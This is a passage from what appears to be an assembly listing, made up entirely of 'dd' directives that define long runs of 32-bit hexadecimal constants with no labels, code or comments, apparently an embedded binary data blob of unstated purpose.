		dd 7C293720h, 0FCE500BEh, 7E7184C1h, 560C6519h,	0A9E83C38h
		dd 795469F4h, 1BD49C20h, 84305E89h, 0B2C3994Dh,	0CAF83191h
		dd 873EE460h, 43A67419h, 99F74B70h, 0E6F2F2A1h,	0BCC80113h
		dd 20546093h, 84A448E3h
		dd 55475044h, 2DF08C83h, 1B90138Fh, 402C203Dh, 6F00F231h
		dd 0DB5768FBh, 11D0E51h, 3788E64h, 433D8A5Fh, 5EC49524h
		dd 0AE4160BFh, 3C886BDh, 63D8A89Bh, 31084582h, 0BCB7026Eh
		dd 38088E01h, 41535A7Ah, 3152EED0h, 9484F340h, 1A980068h
		dd 65C7CE62h, 1109648h,	24C0BAEh, 71A128B9h, 0CF9F8088h
		dd 9BBE6E2Ch, 41740503h, 0E008D7FDh, 2FB6A8Ch, 0B2C581Fh
		dd 80A21ACAh, 0E064E102h, 0B02AF300h, 80E57C94h, 305F7353h
		dd 0A5B16520h, 1160555h, 0A000B277h, 0E585C7B0h, 0D980023h
		dd 7B849436h, 5B0A3518h, 8C5A7D48h, 74400244h, 9C19F97h
		dd 8C489802h, 4ACF575Ch, 0BD688234h, 7EAC9152h,	0F74920D2h
		dd 3A130FAAh, 540B5A55h, 0B02010EDh, 0C17EF9h, 64DB5037h
		dd 875E38A5h, 4CF44CE7h, 0C8223D89h, 0F85B1F00h, 349BCE1h
		dd 2251A800h, 0C8270B63h, 0CEE70159h, 0ACF4267h, 0B8944CCBh
		dd 0CAF40A84h, 80442F5Ch, 0AE33724Bh, 8716E077h, 5410138Bh
		dd 0F62D017Ch, 2AF154BFh, 84150460h, 764A44h, 8532A8A3h
		dd 1B88B4F6h, 0E001F5E4h, 4C29D6FFh, 8339948h, 85BE8E21h
		dd 0FDE6572Bh, 4FEAA440h, 3FECBA4h, 0C5AE5DF9h,	7150E3FCh
		dd 39059898h, 35675758h, 0F2C48Ch, 0B4B67F89h, 0B3BE231Eh
		dd 390FF0CDh, 8A198430h, 0F0893C8Dh, 3190B590h,	0C512B26h
		dd 7EBB2F60h, 0DCB40311h, 0A7D2D7F1h, 0A1443BDBh, 0D30EC514h
		dd 8049BAA9h, 1CC07291h, 391120E7h, 1BED3707h, 5C10C88Ah
		dd 1993FEC4h, 8904C70Ah, 4220EE1Fh, 0B86988Bh, 2D1BBC83h
		dd 69CA8098h, 0BE1C8C00h, 0A7104B66h, 88680E1Fh, 0A96067B0h
		dd 0F44E6E0Dh, 5DA05B5Eh, 206C12F2h, 82E828C3h,	0E52C1F0Fh
		dd 325F1E91h, 700953DEh, 0B6D484BCh, 0C07B9444h, 0DAECB483h
		dd 80AEF803h, 0DB9B166Eh, 2B9B648h, 0E3F3017h, 8E4B202h
		dd 5EE4F314h, 805A8890h, 8886F0C8h, 63056CBCh, 70E47D9Fh
		dd 88066088h, 3C7705AFh, 0D6EFD200h, 40B19AF3h,	0C04D009Ch
		dd 0AB7969C9h, 3D62E6E1h, 46DF0261h, 6DC80064h,	191E93F8h
		dd 20FEFB2Ch, 26816863h, 165C0AAh, 0CF643E43h, 10489780h
		dd 40CBFE4h, 0DE45CC1Eh, 542C4ED6h, 0C984025Ah,	3568B4EEh
		dd 141A94E1h, 0B2BD7080h, 652C00E8h, 5F45C658h,	0A1C0FEE6h
		dd 26D0BBA0h, 0EDEF404h, 0DAC7623h, 0F88D0F60h,	49C01CE4h
		dd 0DCA9E0E9h, 0ECF726ADh, 22F84980h, 4900847Ah, 2B853E4h
		dd 79A43A9h, 2F274B68h,	0EB8F214Ch, 0C45C290Fh,	864AFD14h
		dd 11FCA664h, 0E609000Dh, 0BBAAB8A5h, 155D7BE2h, 80388248h
		dd 107C9600h, 6F651F04h, 8C0377Eh, 794C69E9h, 0BDE00238h
		dd 184E189h, 175F0841h,	3E519043h, 84554771h, 0F148DBF0h
		dd 8B009823h, 0EB15B49Fh, 5C000C37h, 1AC696A0h,	13146194h
		dd 20E397CEh, 720A6DA0h, 30AE4101h, 3928E94h, 7639B2D0h
		dd 78845813h, 60895F16h, 0E60B78FCh, 9FB00554h,	0E2C15400h
		dd 0CB96AFC9h, 3276ACh,	22ED0133h, 8CFD57B3h, 2D03900Fh
		dd 3420B70Bh, 548E010h,	42DA2C43h, 31208C3Fh, 660F2971h
		dd 21635DFEh, 30512634h, 2C32FCF0h, 6064948Eh, 1548667Ah
		dd 0C4A19C00h, 0F03D7E76h, 52CE0058h, 37DA1BE8h, 0A000F1B4h
		dd 0E20343DEh, 0B1ED1C38h, 0F0610EF0h, 17A93E0h, 0C0B8C624h
		dd 6F5C3000h, 7C052197h, 8A7813h, 231C9C11h, 0E4771925h
		dd 0CA414960h, 9FE23Eh,	7578F97Ch, 1CEE21E6h, 0BBF5E101h
		dd 0FC0A5C1Dh, 7C57C6C9h, 0F506B140h, 0E6012579h, 0B39D420h
		dd 1E0F8809h, 0E01074E7h, 2F89F46h, 8EBCB1DCh, 84E09CC8h
		dd 0C3D192Ah, 0E8753892h, 3E5B9B00h, 868D9222h,	0EC90EB9h
		dd 0BC2906Eh, 8851FDFBh, 94B12900h, 0B81937h, 0F8A2DC0Ch
		dd 8F0E7E6Dh, 8405748h,	0E2118Dh, 0C607026Fh, 0A9C008E7h
		dd 0F28883AAh, 4C9A00B4h, 6F8BB68Ch, 441C03E5h,	0DA811A19h
		dd 0A43874C9h, 88188C60h, 88C7310Fh, 0C8C58B2Ch, 85DE8831h
		dd 83483841h, 940BD832h, 0F4817651h, 0E09077E1h, 5709A00Ah
		dd 49E65B5Fh, 0C7C891CCh, 1D290008h, 1AEE86D3h,	0ED002765h
		dd 0EF899F33h, 0B0D999CAh, 488822F8h, 33FDE510h, 0BCCC9300h
		dd 2AC29A04h, 8EEA2FE2h, 0DA37F700h, 69CF6FF6h,	456E177Fh
		dd 98B40093h, 0D2641FF5h, 0D68C0A09h, 0C4AC015Ch, 1EE491D8h
		dd 622C0737h, 0E66E8F16h, 73EF875h, 0E4A1170Ch,	0DCE7F020h
		dd 2FD307D7h, 0D376D239h, 0D8228C7Dh, 0AEBC0008h, 0EBA6CDD8h
		dd 0FA001A07h, 0D95BCEBBh, 757442Ah, 0C65C94EDh, 842E7495h
		dd 0CB900F4Ch, 391FD999h, 15CD006Ch, 0E8BD04D5h, 98A500C6h
		dd 0ED74AF16h, 90015337h, 8A4D9B48h, 402DE389h,	5CA28E00h
		dd 7FCF2FADh, 0F1F92501h, 52973208h, 0B05BDBD7h, 0B06CFF94h
		dd 4F0E2014h, 8150E44Ch, 0DC24B13Ah, 2F2C970h, 0DF1185Bh
		dd 0C421D22h, 0EF1B1420h, 6809E1B5h, 45BA132h, 0B8DC3BD0h
		dd 22FF42CCh, 986E1F46h, 0B169C3Ch, 0C804F3A4h,	0B8804136h
		dd 56D5FC4Bh, 0C048B032h, 5F343522h, 8080B184h,	2CECB17Eh
		dd 4405D25h, 1233FEC6h,	0D74C88h, 7D8FB9D0h, 9DA4168Bh
		dd 0C08EC12Ch, 0F4A7D460h, 0EF080105h, 5C047452h, 0D740D219h
		dd 16057D1Dh, 39B8E065h, 0E94C8h, 0A05DB953h, 8BED3886h
		dd 89479601h, 327F485Bh, 8E0E59BDh, 34263810h, 20CF381Fh
		dd 0EE03319Bh, 0A9F96DD4h, 2402E7E1h, 0B0750C1Ch, 49A6330Fh
		dd 0BEC9C154h, 0DB4750B9h, 40377812h, 61FC6E1Ch, 3C92302Eh
		dd 0CE998301h, 0E2805A83h, 0B92C4CC5h, 0C20F0040h, 0FDF3B427h
		dd 3BF96900h, 380890F0h, 3F98A41Fh, 0E80D5E3h, 0BBCFDB5Eh
		dd 6E165A0Ch, 82B2Dh, 6058A602h, 0D375E28Dh, 50453005h
		dd 0E7842B9Eh, 77C83h, 0C3C55B99h, 9648C691h, 5540F894h
		dd 0DA30F56h, 5E20805Bh, 934A8019h, 0FAC660DEh,	0E988003Fh
		dd 5373C93Eh, 924A25C4h, 5AB47477h, 6D10A02h, 405F5084h
		dd 815245D8h, 821A002Dh, 66AF6308h, 8C251899h, 1354186Fh
		dd 53CF0073h, 0CB1EAC59h, 7E3A6E0Bh, 20CD251Bh,	7408378Ch
		dd 91AD06C4h, 181161E3h, 2166E00Fh, 0A6BF805Ch,	1386EF8h
		dd 7E54F546h, 2373FFF1h, 0D4270048h, 743D5DF3h,	16549876h
		dd 971F7FD3h, 0F89510C8h, 640069FAh, 0DAF76203h, 2E8E309Fh
		dd 408CE65Ch, 2A72A3C0h, 98F82727h, 5E02CDCh, 0F37E57BBh
		dd 0DD9488ECh, 841F000h, 88EDAB28h, 0F78F02D2h,	0B202512Bh
		dd 0C69050C6h, 88908090h, 0D2893007h, 289C2F95h, 0A89494E0h
		dd 0DCD000F4h, 943F3738h, 641BD284h, 0E2282D4Bh, 0B841120Fh
		dd 300F211Bh, 2F0BDD04h, 7F89433h, 1E04D684h, 3CE35081h
		dd 0CB010017h, 800F3A67h, 294989h, 22CCA853h, 0B55103F8h
		dd 0C60B1374h, 314E310Ah, 0F3034C3Bh, 0C0C9A6B1h, 135EF0EEh
		dd 0B2D56BAh, 5818C7ACh, 0C21088DAh, 973D79EEh,	27044C42h
		dd 0BD201025h, 8A4B0198h, 69660480h, 2B92F4F0h,	0BE0138FEh
		dd 68C827E5h, 0C86C5409h, 6C0F0E22h, 4E011457h,	0A80C8292h
		dd 48469Fh, 0C716150Bh,	0AB440185h, 32D5900h, 6E651E09h
		dd 3D3444CFh, 4900A4A4h, 5B4C72FDh, 4645557h, 60296C65h
		dd 0D028C2BBh, 7C0BE0ABh, 0D040EC19h, 6C07BA1Ch, 7818454h
		dd 0C35B2A0h, 76880560h, 0D865031Ah, 449EA68Ch,	43E42C05h
		dd 1A22B040h, 11BF18h, 97950712h, 0CD46AAC7h, 34797800h
		dd 0E45183C5h, 149F019h
		dd 94308AFFh, 0C867F863h, 952248ACh, 523D5A66h,	719C72ACh
		dd 41B2BA60h, 2F316000h, 12FD0B49h, 2DCD2606h, 40182EECh
		dd 1F6A58A6h, 0AB0D8700h, 0BE76CD28h, 8CED00B5h, 840A95C8h
		dd 0CE26A4B8h, 0CD160864h, 0BA1082Ch, 56870B42h, 0A2822884h
		dd 428676D0h, 0CC2F0B99h, 1094045Bh, 8C234722h,	5B7DD88Dh
		dd 39400423h, 88B7027Fh, 0BEA1FFA8h, 0BC4FF5E0h, 27C05C8h
		dd 240812B3h, 0FB8803Dh, 804EDC95h, 0D4F2C576h,	18ABE300h
		dd 0D50E70AFh, 7BB0423h, 0E2368048h, 8EA1644h, 339F0843h
		dd 2D58030Bh, 51A4A0FBh, 741B2BAFh, 0D3E8F4C0h,	5590E901h
		dd 0FDFA861Ch, 0AF81DC28h, 609DF507h, 0C00FFF9h, 3243B044h
		dd 90D1E41h, 6AC0DA50h,	0A7487C41h, 4D5411F4h, 2F7C8014h
		dd 5316D807h, 0F834815Eh, 1ED60080h, 98B1C301h,	3958F3F6h
		dd 3D19229Ch, 7E0AAED5h, 60B451BCh, 4B7D22Dh, 0E7FD7116h
		dd 9BDA4801h, 41A02F27h, 50009E8Ch, 1F000E67h, 4A11E6D9h
		dd 0FE3C032Ch, 70A20006h, 81E95347h, 900AE2B2h,	98639CBAh
		dd 0B2F3700h, 2D9211A0h, 0AC90CE0Ah, 561F06E0h,	0D309F3FEh
		dd 0DAB4C85Ch, 44E8A416h, 4879B149h, 2A6D5905h,	0A7057F6Ch
		dd 0B9800384h, 9EE5FBDAh, 388B8070h, 8AAFCA1Bh,	30A1B200h
		dd 2DE6C21h, 53462DDDh,	3004EE62h, 2FAB4045h, 98B8C4h
		dd 0BB58F6D0h, 89F1EA2Ch, 903833EEh, 0DC31A6CAh, 52069D1Eh
		dd 7116E7h, 78C68EF7h, 5327AF80h, 8779833h, 5A21000Ch
		dd 0D5B9C6A6h, 0C22890D9h, 1009F866h, 830F2C9Ch, 55D6414h
		dd 80FBBA90h, 5468C81Fh, 310C5900h, 1B3377DCh, 84769B5h
		dd 517634C8h, 85EA0C3Eh, 7A191281h, 58605CC9h, 288C2084h
		dd 585AA703h, 28305DECh, 0E6143D10h, 0B2410326h, 0F48C5809h
		dd 0DB0C2086h, 501A06C0h, 18D89065h, 0B86B9691h, 3F00D7C4h
		dd 0E41DA7F8h, 0BE49D1h, 6ECA15C7h, 972D238Ch, 7C63301h
		dd 9826C8E6h, 9F06C0h, 0B3A6D46h, 0DE7F1129h, 0E2699700h
		dd 0C78DD62Bh, 23663967h, 743BB6BAh, 0E4032800h, 9B6EDA7Bh
		dd 0BB934502h, 40B81ED9h, 1D87AAC6h, 0CE49DCh, 45975588h
		dd 383FC8E8h, 67A700BCh, 62F857E6h, 8A81836h, 0F9634611h
		dd 720345E4h, 5558EA8Eh, 509839C7h, 874D1800h, 96682131h
		dd 0CF9D0300h, 0C5568A9Eh, 29B0003Eh, 75C9BDB3h, 0FD309592h
		dd 0A299209Ch, 5913011Ah, 8B9B1CD4h, 0D6B1F4BBh, 0A4A58500h
		dd 0F1C85355h, 669418D8h, 15CF08A1h, 0F2F70703h, 0A1F3910Ch
		dd 5FC414E1h, 0EC537316h, 61EB6095h, 43B7E707h,	0D5C6F102h
		dd 0E02673F2h, 5D2489h,	0F56239DEh, 1D0EB7DCh, 56B67500h
		dd 0F0C34959h, 4E72E7h,	8FCB53FAh, 5EEC7155h, 0C4A5FF03h
		dd 1F9982B1h, 18D69A1h,	1FC8DCD2h, 0E0F98C07h, 0D8089Fh
		dd 0A3AF2A92h, 0FB1146AEh, 3238A863h, 0D729C0C9h, 8710C08Ah
		dd 5F114493h, 6B599060h, 24366770h, 0E14F1B0h, 9784B37Ch
		dd 0D32807Dh, 211B44FDh, 0E0309F8Bh, 3A26405h, 9652F3EEh
		dd 0A8A291D5h, 840498A3h, 804266F9h, 0CCFBDC11h, 16599BE2h
		dd 0E856152h, 0BD4007BFh, 3018C9A9h, 0EE66650Fh, 0ADD8E0D7h
		dd 17E4BCh, 0AF23D655h,	2E8AE6C5h, 265A4200h, 1DB77615h
		dd 161A1DA1h, 0AF130078h, 8AD46C57h, 0C77BFA03h, 30D3F2B2h
		dd 36214608h, 7E98D464h, 92FA1E00h, 0DE25BF4Bh,	201961F3h
		dd 0F332D077h, 5C0018D6h, 0FCE42AFDh, 16507B74h, 0C5A810Fh
		dd 1B2080FBh, 0BD581A60h, 748B6677h, 0CF10C0B3h, 371C5610h
		dd 27B50E0Eh, 0D008B934h, 8722180h, 650F9956h, 0A9297A00h
		dd 8C26B088h, 8980E99Ah, 0C68D9FD6h, 0C200F57Eh, 44E87E6h
		dd 3E70CD3h, 0C03D3102h, 0D901725Ch, 0B7EA94ACh, 41BE1B5Dh
		dd 8AE090Eh, 0B311146Ch, 6EB8890Eh, 154B813Eh, 88C71A6h
		dd 5420AEDBh, 0D7B8A400h, 3F4525FEh, 91821C90h,	9A987DC9h
		dd 516C59A8h, 71B2F100h, 3D7C0234h, 0B1621A90h,	0C8042814h
		dd 0D4726018h, 8BFA2390h, 2C004D11h, 8403D46Ah,	0CCF267B3h
		dd 64B8C560h, 2CE25h, 0EDAC1B59h, 0DDBD059Fh, 5EBAD700h
		dd 38C11928h, 77F07Bh, 0F998114Eh, 4C72B187h, 6D9E5224h
		dd 67AB9C00h, 13B042C2h, 88F0C6h, 7B311728h, 49007D52h
		dd 19D85CB3h, 0E20A03h,	0DBCC0293h, 0A6061853h,	0BE6A200h
		dd 83F11528h, 92F80033h, 89CDDFE4h, 0D400D77Ah,	7F5E16C1h
		dd 47EEC8Bh, 17BA6B54h,	0FA39C0AAh, 0EE004F88h,	0FFBFF244h
		dd 428177h, 22A4E9F4h, 5745B080h, 0BC5F7000h, 0D568E053h
		dd 892D0083h, 0B32765C8h, 0D413EE16h, 381EAF30h, 32247740h
		dd 0FCE2F31h, 9CD752ACh, 1873E280h, 7000FB6Dh, 821446D1h
		dd 323A98Bh, 0CC45FC3Dh, 1000975Ah, 0FD4884FAh,	18F4C477h
		dd 18B0CAB2h, 5207B7A0h, 3443AAEEh, 2910F870h, 2EFA0003h
		dd 71E4157Dh, 0A30143Ch, 434430C6h, 0EF5700F0h,	7E169DC1h
		dd 3730A35Eh, 0A7A21879h, 309AEC01h, 0E2B9C850h, 8D606E3Dh
		dd 41493120h, 4A60C0E0h, 4BAC25FDh, 9829C130h, 7B0E7BDEh
		dd 11A78ECh, 0FF405245h, 309EC5A6h, 66012E01h, 98FD65F8h
		dd 89C0094Eh, 6A8C5CE4h, 0C5A70070h, 0EB53016Fh, 19060E80h
		dd 58B44E61h, 4B15210h,	0AF336FE8h, 0A897107Bh,	380CA1h
		dd 0C1B9BABDh, 0E0B4954Bh, 70476A4Ch, 76570B09h, 2C3F006Bh
		dd 0ED490Ch, 0CE1D3E91h, 0A4884CC6h, 64E8CC02h,	807B8DDFh
		dd 0B26CA0A6h, 193D00C8h, 0A5BD5E24h, 3F0210B1h, 7BDCD147h
		dd 27B56080h, 0F25A7F8Fh, 0DBB300F0h, 5CCE0689h, 50004797h
		dd 9B88FBAAh, 4FA673h, 6F117DDCh, 8208D4BCh, 32D78900h
		dd 25B615F5h, 2446001Fh, 3FC078B3h, 0F03B36C8h,	9CC6804Ah
		dd 9877F38Dh, 56AF01C9h, 24A90E1Eh, 5C13E462h, 8100587Fh
		dd 8F37DD0Bh, 2340F2h, 0DBE65C2h, 0F9835DFEh, 4D00E798h
		dd 9617C4A7h, 0EB3198h,	4BA1522Ch, 12D2BCCh, 9B16E607h
		dd 0E820731Dh, 0FD907D1h, 6A6F2408h, 9200403h, 4052A889h
		dd 548F96BCh, 0CD45A618h, 24B8ACF0h, 336815h, 0D7ECEB2h
		dd 306082B6h, 9BE16B48h, 25950078h, 0E33928E7h,	9007FA4Ah
		dd 0B3F36D2Bh, 81091D80h, 59270517h, 405152ADh,	188D22F8h
		dd 0EC0E852Fh, 60BE07C0h, 698FCE6Dh, 0FFC1008Bh, 7C4F6411h
		dd 9430CB01h, 83B99019h, 0B6E4F3h, 2A75968Bh, 5F088993h
		dd 587F500h, 0B945141h,	9B03000Eh, 7C6126D0h, 0F500A25Bh
		dd 6CC238B1h, 16B512Dh,	8721FD93h, 0C805399Ah, 0D5F488BCh
		dd 32830E00h, 0DDC37F08h, 3E100057h, 9AA6CBA4h,	30115C4h
		dd 0F9346DD9h, 0B6CC179Bh, 62A0009h, 189A3AE8h,	0D7001CA5h
		dd 5192A26Ah, 0FE03F9h,	0AD91851Bh, 10EC358h, 70089B8h
		dd 5C44253Dh, 76F910F2h, 29C204BBh, 90EF920Ah, 56B0CEB0h
		dd 8BBF6201h, 6AF0A101h, 3BDB0BD8h, 7A009063h, 9DEE931Bh
		dd 5C003DE8h, 55871104h, 32E05Ah, 0CF4356F9h, 26409A66h
		dd 0D482FD00h, 0F2B46252h, 0E9E877h, 0A2170B56h, 0CCDF683Eh
		dd 830098F8h, 0E1109F7Fh, 121F7C70h, 40248009h,	6B019D4h
		dd 780E73B9h, 0A1FF687Dh, 4528D23Bh, 90333720h,	407A0Ch
		dd 6CE50616h, 1BD15ECAh, 0C5029874h, 0BE5F2519h, 0F1DF40EDh
		dd 9227586Ah, 0C07B8C1Fh, 0CA123A79h, 250CF1Ch,	0AB71E6F8h
		dd 50772D24h, 2B2F4D80h, 1DA0C56Eh, 8035D5B1h, 0E1A239BBh
		dd 0B6001A56h, 7019FBB0h
		dd 75245975h, 3969C0F1h, 0F7A55395h, 0CDC63D00h, 396559Eh
		dd 4721CB7Bh, 58F03F81h, 6286E0FDh, 0D11DD137h,	40BBD8D0h
		dd 0A9E200ECh, 15A1BAAAh, 810003A7h, 7639CB8Bh,	0B0975B52h
		dd 77DD0F34h, 322E5C41h, 4011203h, 0A8B38800h, 0E6FACCE5h
		dd 1D35006Ah, 53ADC95Eh, 0A0025B7h, 0D689BC18h,	36838F3h
		dd 0D942B08Eh, 60C75157h, 2B01617Dh, 0CF79E590h, 9CFA7100h
		dd 5EE8906Ch, 56C007FDh, 0B0D058F3h, 326AED69h,	0B51D7200h
		dd 0F1EF0545h, 570600D9h, 0EBAA3D96h, 9100DB13h, 54E3EE58h
		dd 1F0D27A5h, 0C467F3h,	16450F8Ah, 9E3D218Eh, 53320008h
		dd 5A4FA2BAh, 0A04D4824h, 0BB742000h, 8DD2E303h, 7FA5501h
		dd 96CEB53Eh, 21D2EF8h,	1089E888h, 6060ED81h, 7E005EA9h
		dd 2AEAD2AEh, 36169Bh, 0F4C8CF6h, 0B9676BFDh, 204FA72h
		dd 763C0977h, 0F1D98490h, 66590084h, 3B917EB3h,	0E3FC2C68h
		dd 7D1E97E8h, 708099B8h, 0BF5A5235h, 31D8005Fh,	75CA79AEh
		dd 0AF0F2ECFh, 63C32F0Fh, 0B942E5FBh, 8940CC08h, 0E81BD3h
		dd 0FA44A9D0h, 2B05D561h, 0D7A1ED00h, 471158EFh, 706C3A9Fh
		dd 440E0400h, 0BA205E3Fh, 5FFF7C00h, 1D01861Fh,	7CCA7736h
		dd 7B76F64Bh, 5DA200B1h, 4187B2F9h, 0E974AEBEh,	38852224h
		dd 0EE9A1E80h, 6C8E1Dh,	0BF6D64F5h, 78EFFECBh, 1B0A54Ch
		dd 3E814859h, 86CCF722h, 0A6F102C8h, 0E912C69Fh, 0C91748C1h
		dd 3831FC88h, 790BE301h, 634AF9D6h, 0E44760E8h,	19C92A7h
		dd 17E59753h, 0D45D4EDAh, 0E100370Bh, 3E8DFB01h, 28977ADh
		dd 7613D922h, 0F4800D9Dh, 6527C49Fh, 0C6E44Ch, 2A0715C9h
		dd 7E0F757Fh, 0BD754Ch,	769C170Dh, 6B5F45F9h, 13A31E1Dh
		dd 185C5D80h, 0E372FF0h, 0A41B3D34h, 7D72B380h,	0D1005243h
		dd 0F8D4E082h, 128BC44h, 0FE8A2A95h, 308C9A68h,	5500A869h
		dd 6FD2C038h, 0C195C8CBh, 0A143BCC1h, 0FF50644Eh, 56341803h
		dd 8894EACCh, 4CA76Fh, 0CAAEECBEh, 42D183BDh, 0C339311Eh
		dd 62D5ADCCh, 0DADC0209h, 8C5B5A45h, 35290C40h,	0C5BD8E00h
		dd 0D8B76955h, 0F19D0049h, 31820D7Bh, 5498120Bh, 3C8B300h
		dd 5299E9A2h, 0D5F30069h, 0F1086575h, 0C11EDA44h, 686E82E6h
		dd 11161980h, 0E7DA7A4h, 39A86214h, 0CC464DA0h,	41073E2Eh
		dd 91EE9E19h, 0D7E0D3D0h, 8AD900F5h, 7A0C85ABh,	7D2CC4F6h
		dd 0C207C725h, 0A104F8D1h, 664C3080h, 5450F0DFh, 44A089Ah
		dd 0BA7A205Fh, 90D8D7C8h, 1817FE88h, 0F973700h,	0BD905BD0h
		dd 0AA55304Bh, 0F898712Ah, 499BC230h, 24F7DF36h, 80645CC8h
		dd 5F4B9858h, 0ED2C4225h, 9413F9CCh, 7FFF0F06h,	0F5980058h
		dd 84485588h, 420A9065h, 204047DAh, 0FD908018h,	109403AEh
		dd 0AFE5301Bh, 27EC7EE0h, 0C901D8E2h, 8ECB2AF7h, 0BAC08104h
		dd 0A1F2B1h, 26C6120Fh,	4F5145BFh, 92B7A401h, 9DCE1C67h
		dd 30A6E13Bh, 8100F100h, 0DBCFC3AFh, 18EEC7Fh, 96EF068Ch
		dd 0DD52BFB5h, 0B32B3048h, 8D67D400h, 8AEC6016h, 6493002Dh
		dd 0C6D25072h, 0C0E33A2h, 479BAA57h, 1001BCEh, 0ADE14B1h
		dd 9113384Dh, 0F84580ECh, 9B625CA0h, 0AECB9000h, 8B1DAC6Bh
		dd 7AD809E5h, 4900F4D9h, 41690DE1h, 12641F4Dh, 0C840786Fh
		dd 89393275h, 0B00900F9h, 67F4A940h, 5800B6ACh,	5229BF7Ch
		dd 1947136Bh, 4054A03Bh, 938A479Dh, 5103F8E3h, 0E2729180h
		dd 0C199007Bh, 9EFC5EBCh, 9A1F7194h, 9D4FA6BFh,	8D8A0190h
		dd 0B0282C47h, 866B007Bh, 22C2B00Ch, 0E40015CEh, 0E50FE292h
		dd 3475C3h, 0F6587384h,	476C459Ch, 0E207AAF0h, 0C261905Fh
		dd 0B67A6310h, 0ED9300DBh, 3D7047DEh, 0BF00531Ch, 65CA8442h
		dd 48E17F24h, 78C704E4h, 0B6806BC8h, 4EF7D7DDh,	0EB575000h
		dd 0EC124891h, 6FB10081h, 786BFB27h, 170DF13Dh,	11EF3E4Ch
		dd 28C1040Ah, 0F0790436h, 50020C7h, 8076F1F0h, 6B55ECh
		dd 0E08D73Fh, 0AA98289Ch, 0C63A8A0Fh, 6C2958F0h, 0FE4E88EBh
		dd 5086489h, 84F80344h,	60899F7Ah, 0EFFE9508h, 79802481h
		dd 9A1170A8h, 887EF726h, 0A07C7400h, 2E02F68Ah,	8D0500B6h
		dd 1BC78FC9h, 3900D1A8h, 0A2C4944Fh, 0ABACCBh, 0B12A5CF3h
		dd 0CA64B09Fh, 0A1F93600h, 2D75EBC2h, 659400B9h, 3C4F7BF4h
		dd 0AC0045E0h, 8E7C9C98h, 0BCC9Eh, 48A481D2h, 0CBBBEEE4h
		dd 0FAFF2000h, 2BACB363h, 0EB41039Eh, 460A6EF7h, 62341780h
		dd 59D10F00h, 0D6C67403h, 573C3028h, 3299BD21h,	0E0102D38h
		dd 47C71A10h, 0A1FE0027h, 434F8302h, 0A315C113h, 3ACCE468h
		dd 0B46F8016h, 0DB44B715h, 0C19D2EA9h, 8FEB00DAh, 41AADF55h
		dd 0C194000h, 306B9114h, 0E73A0061h, 6D38E08Bh,	4A07426Ch
		dd 87F02BEBh, 911E4780h, 1468C2E8h, 700EE5Bh, 3E9363Ah
		dd 8CDA9628h, 0D6A8793Bh, 0FE03C421h, 0F67662FFh, 0ACC7A0B4h
		dd 0BF6700E3h, 0D820D4D2h, 2807D759h, 0B084239Ah, 198B2D31h
		dd 671AE8h, 5EDEDF0Ch, 0B1BF3611h, 0AE1C900h, 26462466h
		dd 2B3707C5h, 0E0BD3A0Ch, 0FAEE4B8h, 4C074FF0h,	14F311B3h
		dd 5A7CC3E1h, 247A340h,	3F6400DEh, 0D2E2FE9Bh, 9039CB0h
		dd 0B872318h, 4D71D81Fh, 0F7F4E7h, 3FA561C0h, 934E979Ah
		dd 0C295E000h, 4324D49Fh, 0F90D00FBh, 7A9C2BDDh, 84A0E765h
		dd 757A5677h, 4FB2F503h, 0F02C7EA9h, 0CFC53Bh, 4352A083h
		dd 1D9109F2h, 0ED4C5300h, 7971EC74h, 70040013h,	76D29C2h
		dd 5C00144Eh, 0EE58956h, 7773035Dh, 42450081h, 0C7ACD8Ch
		dd 1D01E407h, 91E392DFh, 94E0A9C7h, 0F8D4FE31h,	0AF5B00D9h
		dd 3D7690Eh, 0A2004260h, 7A55397h, 0B19505h, 0A7BC2AF1h
		dd 6B3BE7F7h, 0A6465D30h, 7A4E863h, 0B85F2768h,	1DD880D7h
		dd 8B012047h, 0C51C9C6Ch, 89D7C17h, 590D87A0h, 1B3B90B1h
		dd 7400EE5Dh, 5FCC86Eh,	4CAAF07Dh, 591CEC7Eh, 97CB4079h
		dd 7561465Fh, 2098D972h, 0A4933F24h, 5EBDC700h,	0EE1D361Eh
		dd 0B2FC006Ch, 0A04098FBh, 0C000AF11h, 0C1E68094h, 0C88534h
		dd 0FA24316Eh, 5B8D412Dh, 4833D81Dh, 4741781Eh,	0A3FDD95Ah
		dd 0F5117220h, 1CC61C20h, 0C91FCC04h, 0D0034F05h, 27A8A0C7h
		dd 6F00C0DDh, 0AF1BA38Ch, 0F0B36Ch, 0B5AA49BEh,	0FA35E11Dh
		dd 0D0663Ah, 405BBF43h,	0A0A61441h, 0E6B790F7h,	68C000F0h
		dd 7855EE7h, 0B01D5394h, 0A21F5F7Bh, 0E65C4400h, 0D2755511h
		dd 800D0020h, 0CCC2E7Eh, 0A83040Fh, 0B8408088h,	0B582B9h
		dd 9C0813FFh, 2C147E6Ah, 10C73209h, 0F1EC0002h,	994FBh
		dd 0A3AD97A0h, 0B9250F88h, 0C1A6F000h, 4D597A27h, 0BB3B0056h
		dd 0A76EC02Ch, 0F50045C8h, 8B2402Ah, 122CEB1h, 4E193354h
		dd 309F4D29h, 0C174C96Ch, 0F5689407h, 86303A7Eh, 0E84BD915h
		dd 75A803F4h, 4D13D049h, 4FA2B9A8h, 39C8500h, 0F60A56FBh
		dd 0EC960073h, 0C0EBB88h, 0E3031A98h, 27D361A3h, 0A680DD65h
		dd 183A7FB4h, 1CE55B46h, 9F0F0441h, 0A04F191Eh,	97BD5148h
		dd 7CDB00F7h, 0F8F373E0h, 0AA00D894h, 0C90E6791h, 183A6A3h
		dd 334C5823h, 603A0590h, 2F3E6E18h, 0EF10038h, 0E9812692h
		dd 139A0775h, 3046831Bh, 8C8B828Ah, 4CCF140Eh, 49D6A15Ah
		dd 0CA70D8A9h, 0C48D0045h, 0D1845812h, 4ECB60Bh, 0A7007772h
		dd 0B7607992h, 0EE7C94C4h, 49DC30CDh, 0A969AECCh, 5521CF07h
		dd 68EC509Bh, 818800CDh, 0F3B7E262h, 58983EA7h,	9008BF00h
		dd 78F43C84h, 9F120EB5h
		dd 6C0024FCh, 0CEB685D8h, 845ECB00h, 0C56A8EDh,	0F1FACFh
		dd 4D2EFCF4h, 34AFA4E0h, 72CD78C0h, 6A3F82h, 0C3428CD4h
		dd 982A3250h, 9DC79B00h, 8E36AFECh, 0DBB70163h,	0FE7C9397h
		dd 0A5430F1h, 0CA98F800h, 0FDBD11E9h, 50590088h, 0D3C8EBCBh
		dd 3B007C43h, 0EDFFA88Eh, 0A0A2D6E1h, 0D2F1E8h,	3A8011BFh
		dd 42E42BBh, 0CF000CB0h, 0F82631B2h, 0B444F1h, 1E16186h
